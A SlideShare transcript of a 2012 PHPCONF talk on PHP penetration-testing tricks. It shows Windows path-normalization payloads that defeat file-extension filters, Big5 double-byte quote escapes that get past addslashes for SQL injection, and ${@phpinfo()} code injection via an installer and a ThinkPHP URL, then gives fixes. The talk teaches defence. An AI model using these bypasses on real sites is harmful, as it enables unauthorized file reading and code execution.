SlideShare a Scribd company logo
1 of 47
Security in PHP
           那些在滲透測試的小技巧

2012/11/03 @ PHPCONF
 <Orange@chroot.org>
About Me

• 蔡政達 aka Orange
• 2009 台灣駭客年會競
  賽冠軍
• 2011 全國資安競賽金        • 專精於
  盾獎冠軍                 – 駭客攻擊手法
• 2011 東京 AVTOKYO 研    – Web Security
  討會講師                 – Windows Vulnerability
                         Exploitation
About Me

• CHROOT Security Group 成員
• NISRA 資訊安全研究會 成員
• 偶爾做做滲透測試、講講課、接接 case.

• Blog
  – http://blog.orange.tw/
This talk is just for fun.
    Don't be Serious. :)
何謂滲透測試 ?
What is Penetration Test ?
何謂安全的網頁應用程式 ?
                       (Defined by Orange)
What is a Secure Web Application ?
(駭客)看到 PHP 就高潮了。
          <資深駭客■■語錄>
暖身運動
Live Code Review.
Is This Code Safe Enough ?

<?php
    $url = $_GET['url'];
    echo urlencode( $url );
?>
漏洞簡單分級

• Low
  – Sensitive Information Leakage…
• Middle
  – Insecure File Download/Access…
• High
  – Local File Inclusion, Code Injection, SQL Inj…
Information Leakage
In Real World.

• Google://
  – site:yoursite "on
    line" Warning
  – site:yoursite "on
    line" "Fatal Error"
  – site:yoursite "on
    line" Notice
四個動作
• showNews.php?id=198
  – showNews.php?id=198/1
• checkName.php?u=lala
  – checkName.php?u=lala%cc'
• getFile.php?path=hsu.doc
  – getFile.php?path=./hsu.doc
• main.php?module=index
  – main.php?module[]=index
小故事
A True Story.
了解架構

1.   Router, Controller 如何做 URL Mapping
2.   內部代碼如何被調用
3.   物件導向,分層架構
4.   自己實現的 DB ORM

          「用 PHP 撐起整個世界」orz
Code Review

1. 從危險函數往上追
 – system exec shell_exec popen eval
   create_function call_user_func preg_replace…
2. 從使用者輸入往下追
 – _GET _POST _COOKIE _REQUEST _ENV _FILES
   _SERVER HTTP_RAW_POST_DATA php://input
   getenv …
• grep -Re
  – (include|require).+$
  – (eval|create_function|call_user_func|…).+$
  – (system|exec|shell_exec|passthru|…).+$
  – (select|insert|update|where|…).+$
  – (file_get_contents|readfile|fopen|…).+$
  – (unserialize|parse_str|…).+$
  – $$, $a()
  – ……
• grep -Re
  – $(_GET|_POST|_COOKIE|_REQUEST|_FILES)
  – $(_ENV|_SERVER)
  – getenv
  – HTTP_RAW_POST_DATA
  – php://input
  –…
Even Find a Typo Error...
try {
      ……
      $trans->commit();
} catch (xxx_adapter_exception $e) {
      $trans->rollback();
      require_once 'xxx_exceptio$n.class.php'
      throw new xxx_exception( …… );
}
結論,進入主題
Let's return the main topic.
幾乎沒人知道的其一
   1/3
PHP 路徑正規化
<?php
    $name = $_GET['name'];
    $name = basename( $name );
    if ( eregi( "(.php|.conf)$", $name ) )
           exit( "Not Allow PHP." );
    else
           readfile( DOCUMENT_ROOT. $name );
?>
PHP 路徑正規化

• down.php?name=   Original Will be replaced by
  – config.php        <               *
  – config"php        >               ?
  – config.ph>
                      "               .
  – config.<
                   Test on PHP 5.4.8
  – c>>>>>"<
                   newest stable version
  – c<"<           (2012/10/17)
因為是 Windows 嘛。ˊ_>ˋ
   This is Windows. ˊ_>ˋ
Digging into
PHP Source Code
• file_get_contents
  – > php_stream_open_wrapper_ex
  – > zend_resolve_path
  – > php_resolve_path_for_zend
  – > php_resolve_path
  – > tsrm_realpath
  – > virtual_file_ex
  – > tsrm_realpath_r
Win32API - FindFirstFile
PHP Functions
Depended on This API

•   file_get_contents        •   require
•   file_put_contents        •   require_once
•   file                     •   fopen
•   readfile                 •   opendir
•   phar_file_get_contents   •   readdir
•   include                  •   mkdir
•   include_once             •   ……
哈哈,你看看你。
Haha, look yourself.
On All Operation System

• config.php/.
• config.php///.
• c>>>>>.<///



Works on PHP 5.2.* (2012/10/26)
比較少人知道的其二
   2/3
Double-Byte Charset Escape


• Web Browser 接 PHP Output (HTML)
  – Cross-Site Scripting
• DB Management 接 PHP Output (SQL)
  – SQL Injection
name.php?n=PHPCONF
   SELECT * FROM [table]
 WHERE username = 'PHPCONF'
name.php?n=PHPCONF'
    SELECT * FROM [table]
 WHERE username = 'PHPCONF''
name.php?n=PHPCONF%cc'
      SELECT * FROM [table]
 WHERE username = 'PHPCONF%cc''
Big5            Σ( ° △ °|||)︴

        Before                After
 PHPCONF              PHPCONF
 PHPCONF'             PHPCONF'
 PHPCONF%80'          PHPCONF�'
 PHPCONF%cc'          PHPCONF岤'

「高位位元組」使用了0x81-0xFE
「低位位元組」使用了0x40-0x7E,及0xA1-0xFE。
Double-Byte Charset Escape


• addslashes
• mysql_escape_string
• magic_quote_gpc

• Special Cases
  – pdo
  – mysql_real_escape_st
    ring
也許你會知道的其三
   3/3
Double Quotes

•   $url = "http://phpconf.tw/2012/";
•   $url = "http://phpconf.tw/$year/";
•   $url = "http://phpconf.tw/{$year}/";
•   $url = "http://phpconf.tw/{${phpinfo()}}/";
•   $url = "http://phpconf.tw/${@phpinfo()}/";
config.php
     $dbuser = "root";

          情境 A
           install.php
<input type='text' name='dbuser'
          value='root'>
config.php
$dbuser = "${@phpinfo()}";

          情境 A
           install.php
<input type='text' name='dbuser'
     value='${@phpinfo()}'>
情境 B

$res =
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e',
'$var['1']="2";', implode($depr,$paths));

https://orange.tw/index.php?s=module/action/
param1/${@phpinfo()}
情境 B
Think PHP 任意代碼執行漏洞
總結
Summary
Solutions
1. PHP 路徑正規化
  – 動態
  – 非動態
2. Double-Byte Charset Escape
  – UTF-8
  – 正確的編碼設定方式
3. Double Quotes Evaluate
  – Single Quotes
  – Notice Eval-like Functions
References

• PHP Security
  – http://blog.php-security.org/
• Oddities of PHP file access in Windows®.
  – http://onsec.ru/onsec.whitepaper-02.eng.pdf
Thanks.
<Orange@chroot.org>

More Related Content

What's hot

OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesFrans Rosén
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked LookJason Lang
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)OWASP Ottawa
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...Frans Rosén
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
A Brief History of Cryptographic Failures
A Brief History of Cryptographic FailuresA Brief History of Cryptographic Failures
A Brief History of Cryptographic FailuresNothing Nowhere
 
Social Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawSocial Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawShakacon
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
 

What's hot (20)

OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
Security Code Review for .NET - Sherif Koussa (OWASP Ottawa)
 
Pentesting ReST API
Pentesting ReST APIPentesting ReST API
Pentesting ReST API
 
Sql injection
Sql injectionSql injection
Sql injection
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
A Brief History of Cryptographic Failures
A Brief History of Cryptographic FailuresA Brief History of Cryptographic Failures
A Brief History of Cryptographic Failures
 
Social Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James ForshawSocial Engineering the Windows Kernel by James Forshaw
Social Engineering the Windows Kernel by James Forshaw
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 

Similar to PHP Security Tips for Penetration Testing

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Combell NV
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hosterCombell NV
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confooCombell NV
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Barney Hanlon
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariJoseph Scott
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Joseph Scott
 
Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Jeff Jones
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHPJonathan Klein
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
Php vulnerability presentation
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentationSqa Enthusiast
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするSotaro Omura
 
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 appsRaul Fraile
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy CodeRowan Merewood
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Combell NV
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvYuya Takeyama
 
Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009PHPBelgium
 
The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4Wim Godden
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Michelangelo van Dam
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckrICh morrow
 

Similar to PHP Security Tips for Penetration Testing (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
 
Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
 
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
 
Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!Apache and PHP: Why httpd.conf is your new BFF!
Apache and PHP: Why httpd.conf is your new BFF!
 
Northeast PHP - High Performance PHP
Northeast PHP - High Performance PHPNortheast PHP - High Performance PHP
Northeast PHP - High Performance PHP
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Php vulnerability presentation
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentation
 
PHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールするPHPで文字コードとエラーメッセージをコントロールする
PHPで文字コードとエラーメッセージをコントロールする
 
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps$kernel->infect(): Creating a cryptovirus for Symfony2 apps
$kernel->infect(): Creating a cryptovirus for Symfony2 apps
 
Api Design
Api DesignApi Design
Api Design
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Building Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenvBuilding Development Environment with php-build and phpenv
Building Development Environment with php-build and phpenv
 
Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009Prepare for PHP Test Fest 2009
Prepare for PHP Test Fest 2009
 
The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
 

PHP Security Tips for Penetration Testing

Editor's Notes

  1. (視野真好)(重要的一天)
  2. 參考密碼怎麼設定
  3. 所以這些…因為剛剛的問題是 based on Windows API所以如果你不是用 windows ,而是 Linux 的用戶可能會說
  4. php,可愛的語言舉例、十種「不要以為我在唬爛你,等下Q&amp;A有時間馬上 demo 給你看」
  5. 不要忘記說 Q&amp;A